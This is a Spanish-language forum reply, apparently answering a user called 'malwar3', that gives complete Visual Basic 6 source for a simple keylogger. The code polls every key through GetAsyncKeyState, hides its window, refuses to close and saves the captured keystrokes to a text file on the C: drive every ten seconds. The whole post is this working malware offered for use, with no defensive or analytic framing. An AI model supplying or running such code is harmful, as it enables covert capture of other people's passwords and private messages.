Hola malwar3, buen dÃa y bienvenido al foro. Aquà te dejo uno muy simple
Agregar 1 control TextBox y 3 Timer e insertar el siguiente código
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 1
Timer2.Enabled = True
Timer2.Interval = 10000
Timer3.Enabled = True
Timer3.Interval = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
Me.Hide
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
Dim Graba As String
Graba = "C:\cochinada.txt"
Open Graba For Binary Shared As #1
Close #1
Open Graba For Output Shared As #1
Print #1, Text1.Text
Print #1, Chr(13)
Close #1
End Sub
Espero y esto resuelva todas tus dudas. Nos vemos.
PD: Te recomiendo que leas las reglas de esta sección, nos vemos : )